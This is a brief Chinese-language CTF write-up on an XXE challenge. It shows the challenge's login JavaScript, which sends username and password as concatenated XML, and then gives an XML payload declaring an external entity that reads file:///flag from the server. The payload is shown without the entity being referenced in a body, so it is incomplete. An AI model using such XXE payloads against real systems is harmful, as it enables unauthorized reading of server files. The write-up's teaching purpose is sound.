从XML相关一步一步到XXE漏洞
查看题目源码，并且题目提示了XML，源码也给出了

function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
        alert("Please enter the username and password!");
        return;
    }

    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

直接抓包，构建payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>

获取flag